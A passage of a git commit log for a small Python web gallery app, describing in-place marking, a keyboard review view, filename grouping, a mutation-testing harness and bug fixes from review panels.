Code fixes: - The narrow-screen fold was specified and never built (4/4). The tray and notes are now closed <details> in the aside; above 1000px CSS alone (::details-content) shows them and hides the summary. There is no script. Browser-tested at 390 and 1400, JS on and off. - The lightbox gated on parsed board rows, not page identity (3/4). It now uses is_board, the lesson the bench panel already carried. - wants_json returned True at the first good entry, so a malformed later entry was never read (3/4). It now parses every entry first; any error is False. - One flag predicate, flagged_targets. It serves the Desk count, the tray, the filmstrip, the tape and the review button. An unreadable flag entry counts nowhere. - The header's open count and lifetime line, and the no-set marks panel, are now regions (they were stale after an in-place answer). - Inline group headers render only when every group is one contiguous run. Interleaved directories no longer reprint or misfile headers. - A booth held unreadable has no open_since, even with a readable pick beside the damage. - The swap marks an absent region is-stale instead of leaving it looking current. It carries disclosure state (except the sent form's). The failure message is readable for 0.9 s before the reload. Contract amended where the code was right and the text was not: the wants_json and record_seen signatures, landed_at's three refinements, the group position being ring-based, the end of the set offering every other open pick, the Space-key player exception, and the fold mechanism. New tests cover the parse order; a board with media; the header region; the no-set panel; interleaved groups; mixed damage; the flag predicate; the review recording .viewed; the fold at two widths with JS on and off; the status message before the reload; a lost response after a landed write (exactly one note); a stale absent region; stage node identity across a swap; and F with a radio focused. The lost-response and stale tests turn red under their mutations. 724 passed. |
||
|
|
881c7f5df3 |
docs(r2): correct the provenance of the rewritten keyboard-flag test
The gallery's POST-303-reload was the no-JS design working, and it still is (the INV-4 golden pins it). The defect was the full-size ejection. The test's docstring and the contract's assertions table now say so (booth-dev review). |
||
|
|
f8cb1b29af |
feat(r2): C6 the review, and C7
- The zoom route becomes the review for image, video AND audio: the native player on the stage for sound and video, the Fit/1:1 toggle for pictures only. The judgment rail, the tape and the filmstrip are each a data-region. The stage never is, so a playing track survives an in-place save. - The rail shows the whole-set number, K of M in the review ring and the position in the group; then the caption, and the flag and notes, landing back here (back=view). A pick targeting this item is answerable in place. On the last item the end-of-set block lists what was seen, the flags, and every other open question. - The keys are ← → Space F N Esc. Every one is ignored in an editable field, and Esc returns to the grid at the tile you were on. - _marks.html gains picks_only/back_view, so a pick form has one renderer wherever it sits. - In-place swaps now carry an unsaved draft across. A half-typed note survives a flag, except in the form that was just sent. - The filmstrip keeps the current frame in view. - C7: no emblem in the chrome, pinned. Browser tests cover: F typed into the note stays a letter and does not flag; F outside the note flags in place and the draft survives; Space moves; Esc lands on the grid tile. 706 passed. |
||
|
|
50f88a3e5e |
feat(r2): C5 the lightbox, and the in-place client
- On a gallery booth the marks panel moves into a sticky verdict aside beside the set. The aside comes first in the document, so a narrow screen stacks the question above the work; grid areas place it on the right when wide. Nothing in an ordered collection moves. Boards are unchanged. - The flag tray lists flagged items by tile number: the declared change from the panel list's (created, id). The standalone marks page keeps the list. - Inline group headers are divs, never figure.item. - Every mark-dependent element is a data-region: the verdict, each tile, the rail's filter counts. There is also a server-rendered status line. - The in-place script (base.html) POSTs with an explicit JSON Accept, then on 204 swaps every region from a fresh GET. Live media and per-viewer view state are carried across the swap, so there is no layout jolt and no stopped track. It never re-POSTs: on failure it says so and reloads. Tile controls re-bind after a swap, and the grid cursor survives it. - The `n` key opens the tile's closed note disclosure before focusing it. - test_embed_browser's keyboard-flag test expected a navigation, which is the defect R2 removes. It is updated as declared in the contract, and tightened: a window marker must survive, proving no reload. Browser tests: flag in place, with no reload and no scroll jump, and the tile, tray and rail count all updated; and a failed save that reloads without re-POSTing. Two mutations turn them red (no carry, no rail region). 700 passed. |
||
|
|
ce27b06f32 |
feat(r2): C4 the Desk — the index triaged by what needs the operator
- list_booths gains open_since (parsed, never compared as text), flags, landed_at (content only; a new, differently named clock, INV-5), viewed_at, and a four-image preview that keeps blur. - The index renders needs you / new since you looked / everything else, always in that order. Needs you includes unreadable marks, so a damaged judgment file cannot hide. Everything else keeps list_booths' order rather than stating a second rule. An empty section renders nothing. - The side column holds live benches (a damaged registry says so), bookmarks from BOOTH_LINKS_BOARD with booth URLs left out (capped at 8), and the pickup form. - test_booth's kept-lane test is rewritten as the contract declared: kept is a fact on each row, not a lane. Two of the new tests were VACUOUS on their first draft, and mutation- checking caught both. The clocks test used a future t0, so a hand-set marker outranked every real write. The look-then-judge test followed the flag's 303, and the resulting GET recorded a fresh look. Both are fixed and now go red under their mutation. |
||
|
|
b9750d221a |
feat(r2): C3 server side — 204 on an explicit JSON Accept, and back=view
- wants_json: true only for an exact `application/json` entry with q > 0. Absent, empty, wildcard, application/*, near misses, q=0 and malformed headers all fall through to the 303. - The four mark routes share one exit, _mark_done: 204 with no body for the in-place client, otherwise _mark_redirect unchanged. - back=view lands on /b/<name>/view?f=<rel>#rail, only for a media item of this booth. It is built from the resolved rel and never echoed. Anything else takes the no-`back` landing. - tests/golden/r2_mark_303.json: 108 responses recorded from the PRE-R2 code (6 route cases x back absent|marks x 9 non-JSON Accepts), replayed byte for byte (INV-4). Two mutations (q>=0, substring match) turn it red. - The contract now states the q=0 rule. |
||
|
|
277554a3f7 |
feat(r2): C1 ordinals and C2 the review ring and .seen
- Item.ordinal: the 1-based position in booth_items over the items that render. It is appended, and set in the resolver. Tiles print it padded to the whole set's width, and a filter never renumbers. - review_chain: the item order filtered to media. It replaces image_chain as the zoom route's ring, so a set of pictures and sound steps through both. image_chain stays importable. - .seen: which media items were looked at full size, written by the review route under record_view's gate. It is rewritten whole: deduplicated, pruned to live items, sorted. The temp file is created with O_EXCL and swapped in with os.replace, so a planted symlink is replaced, never written through. It never raises. Nine new tests. The contiguity and symlink tests are mutation-checked. 669 passed. |
||
|
|
397ea89795 |
fix(u7): six defects from the heid bug-hunt panel, and five vacuous falsifiers
Cross-frontier panel (Gróa/Hulda/Regin/Kimi) on U7's diff, thread 01M368G2Y0JMTJ2T7M3JMTXV5Z. Four of the six fixes are for defects no test in this repo could have caught, and the panel's guard-strength passes found five of my own falsifiers green under the exact change they forbade. THE 4-OF-4 FINDING — the group anchor could land on the WRONG artifact. The anchor was the raw rel spliced into an href fragment while the tile id was equally raw. A browser matches a fragment against ids RAW FIRST and only then percent-decoded, so raw-on-both-sides is not merely unencoded, it is AMBIGUOUS: with `a b.png` and `a%20b.png` in one booth, the first's href resolves to the fragment `item-a%20b.png` and the raw pass matches the SECOND file's id. That is the misfiled-judgment failure invariant 6 exists to prevent, arriving through a path invariant 6 never looked at. Both sides now use `Item.url` (`quote(rel, safe="/")`), which is injective here and is the convention booth_flag has always used. The original test asserted the href occurred as SOME id on the page — true while pointing at the wrong one. GRÓA'S STRONGEST SOLO — a zero-hit filter removed the way back. The rail was gated on the FILTERED list, so a valid filter with no matches removed the rail, the filter links and the route back to `all`, while the empty-booth branch announced the booth was empty with rail.total still holding the real count. No recovery without editing the address bar, and it degraded the same way with JavaScript off, on the surface the operator actually reviews on. Gated on all_items now, with an explicit no-match row. HULDA — one unrepresentable filename took out the INDEX, not just its booth. A non-UTF-8 filename reaches CPython as a surrogate and quote() raises on it, outside any per-item handler. booth_items feeds list_booths, so one 0xff byte in one booth's filename 500s every booth's card. Such a file cannot be linked, served or zipped, so it is skipped like a dotfile. HULDA — the `f` shortcut has never worked. The selector named `.flagbtn`, which nothing in this repo emits, so it fell through to the hidden target input; clicking a hidden input does not submit its form, and the handler called preventDefault anyway. Now clicks the flag form's real button, verified end to end in a real browser. GRÓA — a group jump was undone by the next keypress. The jump scrolls, the cursor stayed at -1, and the next arrow focused tile 0 and scrolled back. The cursor now picks up from the viewport, which also fixes the general scroll-then-arrow case. Asserted on real scroll geometry in Chromium. HULDA — the caption sidecar was read whole before being truncated, so a pathological file was a MemoryError the OSError handler does not catch. Bounded at the read, and deliberately NOT by st_size: a FIFO reports 0. ACCEPTED KNOWN RISKS, both now documented rather than implied: no cap on rail row count (1,000 groups of two would render 1,000 rows; the largest live booth is 66 items and picking a cap without a booth that needs one is invented work), and Item.group sits mid-dataclass (one construction site, keyword-only, grepped). The docstring now names the UPPER median explicitly — two arms flagged that "the middle group" admits both readings for an even count. FIVE VACUOUS FALSIFIERS, found by the arms and not by me: the anchor test survived v[0]->v[-1]; the informativeness guard survived sizes[-1]; the group count survived len(v)+1; the zero-hit filter test used a fixture that HAD hits; and the escaping test asserted over the whole page, so it went red on a code comment. All rewritten, all mutation-proved. The table is up to 20 rows and one drifted when I changed the line under it — reported by the harness, not silently skipped, which is the behaviour tests/test_mutation_check.py exists to hold. 660 green; 20/20 proved. Deployed; 21/21 booths 200. Held for design-dev, not fixed here: Gróa's finding that the sticky rail has no scroll-margin, so a fragment jump tucks the target under it. It is one line in base.html, the file he is rewriting from scratch. |
||
|
|
33e7149e24 |
fix(scripts): the mutation harness must not churn source mtimes
It rewrites a tracked file and restores it byte-for-byte — but the restore bumped the mtime, and in this repo that is not cosmetic. The repo IS the deployment root and nothing takes effect until the service restarts, so 'is :8090 stale?' is answered by comparing the service's start time against source mtimes. A tool that moves those without changing a byte makes that check lie: it reported the live service 16 minutes stale while it was serving current code. Restores atime/mtime with os.utime, with a test whose defeating change is dropping that line. Found by using the staleness check for real, not by review. 649 green; 12/12 U7 falsifiers still proved. |
||
|
|
2f6a0ee821 |
test: keep the mutation harness — scripts/mutation_check.py, with its own controls
Promotes the session-scratchpad harness that proved U7's twelve falsifiers into a repo tool, on the operator's call. No version bump: test tooling and docs, no production-code change, per the SemVer SKIP list. A green test is not evidence. A test that has never seen its own defeating change may pass under it too, forbidding nothing while reading as though it forbids something. This repo shipped that three times — twice in one session, and once an hour after writing the persistent-memory entry about it. Prose in a memory file is not an instrument. Tables live in tests/mutations/*.toml, one per unit, committed so a unit's proofs are an artifact rather than terminal scrollback. Adding a unit means adding a file, never editing the script. u7_navigation.toml was generated from the harness that proved those twelve, not retyped, and every anchor was verified against the source before it landed. THE TOOL GETS ITS OWN POSITIVE AND NEGATIVE CONTROLS, which is the point. It shipped two defects in one session, each of which made it report a falsifier PROVED WITHOUT RUNNING IT, and both were found by accident rather than by anything checking: no green baseline — a test that is ALREADY red reports red for every mutation thrown at it, so a broken assertion reads as a certified falsifier the bytecode cache — `< 2` -> `< 1` is byte-identical in size, and CPython validates a .pyc against the source's (mtime, size) at one-second granularity, so a mutation landing in the same second as the revert before it runs against cached bytecode; the tell was a verdict flipping between consecutive identical runs tests/test_mutation_check.py now carries a control for each, plus the one usually skipped: a KNOWN-VACUOUS falsifier the tool must catch. An instrument that only ever sees unknowns cannot tell "nothing wrong here" from "I am blind", and twelve `proved` lines from a blind instrument are worth nothing. Also hardens the tool against itself: it writes to tracked source files, so the restore is verified rather than assumed, and a .mutation-inflight marker makes a run killed mid-mutation refuse the next start instead of silently measuring a mutated tree. 648 tests green; 12/12 U7 falsifiers still proved. |
||
|
|
3126deca00 |
chore(release): 1.0.0b1 — the v1 target, staged as a beta
All seven v1 capabilities are landed (ROADMAP's v1 target is met), so this is the first release of the 1.x train. Staged as a beta rather than cut final on the operator's call: per the canonical policy `-beta.N` means feature-complete, external testing, no new features, focus is on bugs — which is exactly this state, with a cross-frontier bug-hunt panel outstanding on U7's diff. The repo learned this sequencing the hard way once: v0.2.0 was tagged and announced while a contract panel was in flight, the panel found three defects in the code just released, and v0.2.1 shipped within the hour. A beta is the designed answer to that, not a workaround for it. ALSO FIXES A SECOND COPY OF THE VERSION, found while cutting this one. `booth.__version__` was the literal `0.1.0` and had been wrong through six releases. It is now read from pyproject.toml — deliberately NOT from importlib.metadata, which describes a different artifact: this repo has no build step and no install step (booth.service runs uvicorn with WorkingDirectory set to the tree), and the venv was carrying a vestigial booth-0.3.0.dist-info with no package directory behind it. Installed metadata therefore reported 0.3.0 for a tree at 1.0.0b1 — confidently wrong and varying by environment, which is worse than a literal that at least fails the same way everywhere. booth/__init__.py is also, it turns out, effectively stdlib-only: scripts/booth imports booth.links / booth.marks / booth.manifest under the system python3 with no venv, and every one of those executes the package root first. Nothing asserted it. test_stdlib_only now covers __init__, and the no-venv import path is verified under python3.11 reporting 1.0.0b1. 642 tests green. |
||
|
|
bf351a26d1 |
feat(u7): filename groups — the last v1 unit, and a table that did not reproduce
Completes U7 with its fourth component: a jump-to-group rail derived from filename prefixes, replacing the subfolder sections ROADMAP named. The scope departure was ratified by the operator 2026-09-22; this commit deletes test_no_group_rail_is_shipped_yet, the guard that held it back, in the same change that builds what it guarded against. All seven v1 capabilities are now landed. The 1.0 cut is a decision, not a dependency, and it is the operator's — no version bump here, because a commit is not a release. THE RULE CHANGED AT IMPLEMENTATION, ON MEASURED GROUNDS. The contract specified `strip ONE trailing run of digits`; run against the live set that yields 24 groups for sindra-bakeoff's 40 images and 27 for sindra's 30 — a rail with a row per tile — because it keys on the END of the stem, where the instance number lives. The contract's own table claimed 5 and 1 for those two booths and neither reproduces; the numbers are reachable only by two OTHER heuristics, so the table that justified the design was assembled from more than one rule. Its own worked example contradicts it in plain sight. The shipped rule keys on the first separator-delimited segment, where the family lives, destemming only when the stem has no separator at all — so `ac01` -> `ac` while `v30-seed8302` and `v35-seed8302` stay apart. Re-measured across all 17 live booths; the table is in the contract. INV-3 GAINED ITS SECOND DEGENERACY. The contract guarded one group for everything (sc-iso-spread: DSC0001-DSC0006). The live set's actual failure is the opposite — pewpew-ui-brief yields 23 groups for 34 items, dfa-concepts 13 for 20 — and the contract as written would have shipped a rail that is a second copy of the grid. The rail now renders only when grouping is informative: two or more groups, and the middle group holding more than one item. That predicate gets all 17 booths right. Grouping is a VIEW. The grid stays sorted(rel) and the zoom ring stays that order filtered to images; the group fixture interleaves across subdirectories precisely so a (group, rel) re-sort goes red. Groups are derived from the RENDERED list, not the full gallery, so no anchor points at a filtered-out tile. booth/items.py _group_of + Item.group, derived in the resolver (INV-1) booth/app.py _groups() builds the rail rows; build_gallery carries it booth/templates/ the rail-groups nav and its CSS tests/ +16 tests; 639 green Every new falsifier was proved by running its defeating change (12/12). Three were vacuous first time out: one fixture's positional order happened to be alphabetical, one assertion miscounted elements, and the harness itself certified a broken test twice — no green baseline, and byte-identical mutations silently defeated by the pyc cache's one-second mtime granularity. |
||
|
|
a306e2dc6d |
feat(u7): the rail, the filters and the grid keyboard — the ratified three
ROADMAP's U7 row names four components. Three of them -- a sticky rail, filters, and grid keyboard -- are already ratified there and are implemented here. The fourth, replacing directory sections with filename-derived groups, is a scope DEPARTURE the operator has not ruled on and is deliberately not built; test_no_group_rail_is_shipped_yet fails the moment somebody builds it anyway, so it cannot arrive by accident while he is away. Filters are links carrying a query parameter, resolved server-side, so the gallery keeps working with JavaScript off -- U3 already cost the verbatim path its no-JS operation and said so, and the gallery is the surface the operator actually reviews on. An unknown filter falls back to `all` rather than indexing a dict by a value that arrives from an operator-editable URL. `unanswered` means HAS AN OPEN PICK, the U4 hold predicate that already exists. The other reading is a real and different question and stays open on the contract rather than being guessed at. Filtering is a VIEW and never reorders. The grid renders `sorted(rel)` with non-matching items removed, so "the third one" means the same thing with a filter on as with it off, and the zoom ring is untouched by any filter -- a ring that changed with the grid would make `next` depend on how the operator arrived, which is the misfiled-judgment failure invariant 6 exists for. ⚠ The first version of that invariant's test was VACUOUS and the mutation run caught it: it compared each filtered view against the unfiltered RESPONSE, so a reversing mutation reversed both sides and it stayed green under the exact change it forbade. Rewritten against an independent truth -- U1 INV-3 says the order IS sorted(rel) -- and re-verified RED. Written an hour after the entry describing this exact failure class, which is worth recording. 611 -> 623 tests. |
||
|
|
e702be4e1a |
fix: a wrong-shaped answer no longer 500s the gallery and the marks page
Pre-existing, measured at
|
||
|
|
8cb21193dc |
fix(u6): fold the cold bug-hunt panel — a div in a span, a symlink split, and an append outside its lock
/heid-bug-hunt panel 01M35CRRK2RTVWWF1BN09AFQG3, diff-scoped against
|
||
|
|
32e3ed65e1 |
fix(u6): fold the cold contract panel — the import selection gap, and a document arguing with itself
/heid-contract-review panel 01M35BWCJ806MT75NA630Y4WFH. The headline arrived from all four arms independently and it is a missing feature, not a wording problem. `bench import --apply` registered every candidate, while the same contract says roughly 14 of 35 are reference bookmarks that must stay on the board. There was no selection mechanism between the dry-run report and the write -- so the write path did the exact thing this unit's rationale calls impossible, tell a bench from a bookmark by its URL, silently, to rows that belong where they are. The report existed precisely because the decision is not mechanizable. `--apply` now takes the ids the operator names; a bare `--apply` is refused and an unknown id is refused, both writing nothing. Two solo findings, both real: - A successful registration could push the registry past the size its own reader refuses, so the LAST bench added would make every other bench invisible while reporting success. The writer now respects the reader's cap. - The credential ban covered bench URLs and not `booth link`, the door this unit did not touch -- and the board renders on an unauthenticated LAN surface. A password can no longer reach it through either door. A small deliberate widening, named rather than smuggled. Cap semantics were readable three ways (refuse / clip-for-display / truncate-and-store) with a different build behind each, 4-of-4. Now stated per field: name and owner truncate, url and state are refused at the write and are DAMAGE at the read. url is not a display budget -- INV-7 promises the click goes to the posted address byte for byte, and a clipped URL keeps that promise in the type system while breaking it in the browser. The code had been clipping it; fixed. Two passages disagreed about one character: INV-7's specimen named "a trailing slash on a non-empty path" as something normalization changes, while the rule list keeps it and INV-6 makes the two spellings two benches. The rule list is right; the specimen was wrong. Found by 3-of-4. Also: INV-6's component list was illustrative where it had to be exhaustive and was short scheme and port; "writes nothing" appeared twice with different lists; the dead marker's predicate was readable two ways with 221 rows riding on it; and INV-2's falsifier read as though three callers agreeing pinned something, when three callers of one wrong predicate agree perfectly -- the table's expected values are the real check and now say so. 597 -> 604 tests. |